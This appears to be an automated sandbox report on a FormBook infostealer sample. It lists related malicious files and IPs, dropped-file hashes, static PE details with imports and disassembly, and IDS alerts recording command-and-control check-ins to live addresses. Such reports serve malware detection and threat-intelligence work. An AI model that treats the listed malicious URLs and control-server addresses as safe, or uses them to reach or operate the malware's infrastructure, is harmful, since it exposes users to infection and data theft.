	http://www.nesianlife.com/	Get hash	malicious	Unknown	Browse	154.89.236.198
NTT-LT-ASLT	RQ#071024.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	8mmZ7Bkoj1.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	SOA SEPT 2024.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	1728239644b6c097b50f50c5ed70baa52a8cacbfdc1e82b38c0aa5c471e1a07dbef595bc59540.dat-decoded.exe	Get hash	malicious	Remcos	Browse	84.32.44.139
	MKWbWHd5Ni.rtf	Get hash	malicious	Remcos	Browse	84.32.44.139
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	84.32.84.32
AMAZON-AESUS	original (3).eml	Get hash	malicious	Unknown	Browse	23.22.254.206
	T9W7MCS2HI.exe	Get hash	malicious	FormBook	Browse	44.213.25.70
	ordin de plat#U0103.docx	Get hash	malicious	Remcos	Browse	3.84.165.70
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	3.5.77.185
	PURCHASED ORDER OF ENG091.exe	Get hash	malicious	FormBook	Browse	34.205.242.146
	http://nbxvavlbbnks0ockyfxgnbxva.feedbackfusion.site/4nbXVA123415bxwz821wfgqkoqbno9030GRUYZVSMVMDWDTG236348/3210Y21	Get hash	malicious	Unknown	Browse	35.171.206.145
	na.elf	Get hash	malicious	Unknown	Browse	54.173.232.215
	https://we.tl/t-BVtGtb0HLz	Get hash	malicious	Unknown	Browse	52.203.206.228
	na.elf	Get hash	malicious	Unknown	Browse	54.173.232.249
	na.elf	Get hash	malicious	Unknown	Browse	44.223.211.251
CONFLUENCE-NETWORK-INCVG	RQ#071024.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	208.91.197.39
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	208.91.197.27
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	shipping notification_pdf.exe	Get hash	malicious	FormBook	Browse	208.91.197.27

Process:	C:\Windows\SysWOW64\RpcPing.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Keily

Download File

Process:	C:\Users\user\Desktop\N2Qncau2rN.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.993435173307934
Encrypted:	true
SSDEEP:	6144:0U+OS51KmKlOyL3VfDxGb96q6B588GI5f704njbPiSQFSGz:BSzWhNGbAq6P8895f7eSQFvz
MD5:	AE51354D8ED39A1721CE578975302325
SHA1:	8C4E231E4722DA9B08ABF517D7DEC408EB51060B
SHA-256:	49FC2721F0A256F19323C007435D8097A08B09E3FEFAB268A302D7C4382634DE
SHA-512:	5648C3944467C8E865257E19D7B4A3E71F198B157CE9B242C95338C43F5D04E28787D071381627925D5C7D1C623A0AECDEBB6C61EAE45DF5A662B9992B98BE23
Malicious:	false
Reputation:	low
Preview:	.....LFDHl.G...e.VO..lK<...GSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH.ZZNIL.:Y._.w.G....2'4s;F6($-;l%%&Z5.n%6kF,!v%8l....75"}F9SkVLVLFDHM[S.z3,.d/1.k,!.R..t'4....p6+.^.f. ..]:'k,1.FDH4ZZNG..4Y.WMV0...4ZZNGSK4.OTM]MMDH`^ZNGSK4YOV<BLFDX4ZZ>CSK4.OV\VLFFH4\ZNGSK4YIVLVLFDH4^NGQK4YOVLTL..H4JZNWSK4Y_VLFLFDH4ZJNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFj<Q".NGS_f]OV\VLF.L4ZJNGSK4YOVLVLFDH.ZZ.GSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNGSK4YOVLVLFDH4ZZNG

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.561166328997874
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	N2Qncau2rN.exe
File size:	1'401'699 bytes
MD5:	47d011ced9bd433871f605c662c06b55
SHA1:	fd2e3100dcad95fd1fc6614a71ba0ac15bd3b05e
SHA256:	d649d0beff04be12fbad6cdb84d0f2460208309f845c890f0fa162a27d61051f
SHA512:	3963efa4bb57b9a16b18f4d740529464476760bba56ce2cb5ca44c60a082081eb5ed26838f585ea4f9a3937d77cd55e41606bdc847d0d34b8092e1dd5176fa5d
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCJ/g5aAwDH/UUgUdmcGsQm2yuxrM:7JZoQrbTFZY1iaCJY5athMsR2a
TLSH:	CD55E121F5C69076C1B323B19E7EF36A963D79360336D29B27C42D221EA05416B3A773
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007FAEED055F6Bh
jmp 00007FAEED04CDDEh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FAEED04CF5Ah
cmp edi, eax
jc 00007FAEED04D0F6h
cmp ecx, 00000080h
jc 00007FAEED04CF6Eh
cmp dword ptr [004A9724h], 00000000h
je 00007FAEED04CF65h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FAEED04CF57h
jmp 00007FAEED04D332h
test edi, 00000003h
jne 00007FAEED04CF66h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FAEED04CF7Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FAEED04CF5Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007FAEEF4C5757h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FAEED04CF1Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T15:33:37.818114+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60549	3.33.130.190	80	TCP
2024-10-08T15:33:37.818114+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60549	3.33.130.190	80	TCP
2024-10-08T15:33:53.420266+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60551	74.208.236.25	80	TCP
2024-10-08T15:33:55.974521+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60552	74.208.236.25	80	TCP
2024-10-08T15:33:58.518622+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60559	74.208.236.25	80	TCP
2024-10-08T15:34:01.420541+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60575	74.208.236.25	80	TCP
2024-10-08T15:34:01.420541+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60575	74.208.236.25	80	TCP
2024-10-08T15:34:07.984460+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60611	3.33.130.190	80	TCP
2024-10-08T15:34:10.398319+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60627	3.33.130.190	80	TCP
2024-10-08T15:34:12.054678+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60641	3.33.130.190	80	TCP
2024-10-08T15:34:14.561340+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60657	3.33.130.190	80	TCP
2024-10-08T15:34:14.561340+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60657	3.33.130.190	80	TCP
2024-10-08T15:34:21.140669+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60679	3.33.130.190	80	TCP
2024-10-08T15:34:23.564525+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60698	3.33.130.190	80	TCP
2024-10-08T15:34:25.192247+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60715	3.33.130.190	80	TCP
2024-10-08T15:34:28.651115+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60728	3.33.130.190	80	TCP
2024-10-08T15:34:28.651115+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60728	3.33.130.190	80	TCP
2024-10-08T15:34:36.000173+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60775	203.175.9.128	80	TCP
2024-10-08T15:34:38.444808+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60788	203.175.9.128	80	TCP
2024-10-08T15:34:41.093787+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60807	203.175.9.128	80	TCP
2024-10-08T15:34:43.504908+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60821	203.175.9.128	80	TCP
2024-10-08T15:34:43.504908+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60821	203.175.9.128	80	TCP
2024-10-08T15:34:49.003817+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60832	3.33.130.190	80	TCP
2024-10-08T15:34:51.548045+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60833	3.33.130.190	80	TCP
2024-10-08T15:34:54.114725+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60834	3.33.130.190	80	TCP
2024-10-08T15:34:56.674011+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.9	60835	3.33.130.190	80	TCP
2024-10-08T15:34:56.674011+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.9	60835	3.33.130.190	80	TCP
2024-10-08T15:35:07.426657+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.9	60836	199.192.19.19	80	TCP
